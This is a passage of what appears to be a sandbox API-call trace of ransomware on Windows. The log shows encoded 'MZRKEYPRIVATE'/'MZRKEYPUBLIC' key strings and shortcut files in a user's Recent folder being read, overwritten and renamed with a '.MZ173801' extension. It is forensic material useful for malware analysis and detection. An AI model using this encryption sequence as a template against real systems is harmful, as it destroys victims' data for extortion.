lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.209] GetCurrentThreadId () returned 0xab4 [0152.209] GetCurrentThreadId () returned 0xab4 [0152.209] GetCurrentThreadId () returned 0xab4 [0152.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.210] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.210] GetCurrentThreadId () returned 0xab4 [0152.210] GetCurrentThreadId () returned 0xab4 [0152.210] GetCurrentThreadId () returned 0xab4 [0152.210] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TNMTkGiMBk1T.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\tnmtkgimbk1t.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.210] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.210] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.210] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3c4 [0152.211] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.211] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3c4, lpOverlapped=0x0) returned 1 [0152.211] CloseHandle (hObject=0x280) returned 1 [0152.211] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TNMTkGiMBk1T.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\tnmtkgimbk1t.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.212] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3c4, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3c4, lpOverlapped=0x0) returned 1 [0152.214] CloseHandle (hObject=0x280) returned 1 [0152.219] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TNMTkGiMBk1T.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\tnmtkgimbk1t.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TNMTkGiMBk1T.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\tnmtkgimbk1t.lnk.mz173801")) returned 1 [0152.220] GetCurrentThreadId () returned 0xab4 [0152.220] GetCurrentThreadId () returned 0xab4 [0152.220] GetCurrentThreadId () returned 0xab4 [0152.220] GetCurrentThreadId () returned 0xab4 [0152.220] GetCurrentThreadId () returned 0xab4 [0152.220] GetCurrentThreadId () returned 0xab4 [0152.220] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf13e35cc, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf13e35cc, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf13e35cc, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x586, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="tX2YPj0q7xi_0h30ePDe.lnk", cAlternateFileName="TX2YPJ~1.LNK")) returned 1 [0152.220] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.220] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.220] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tX2YPj0q7xi_0h30ePDe.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\tx2ypj0q7xi_0h30epde.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf13e35cc, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf13e35cc, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf13e35cc, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x586)) returned 1 [0152.220] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tX2YPj0q7xi_0h30ePDe.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\tx2ypj0q7xi_0h30epde.lnk")) returned 0x20 [0152.220] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tX2YPj0q7xi_0h30ePDe.lnk", dwFileAttributes=0x80) returned 1 [0152.223] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.223] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.224] GetCurrentThreadId () returned 0xab4 [0152.224] GetCurrentThreadId () returned 0xab4 [0152.224] GetCurrentThreadId () returned 0xab4 [0152.224] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 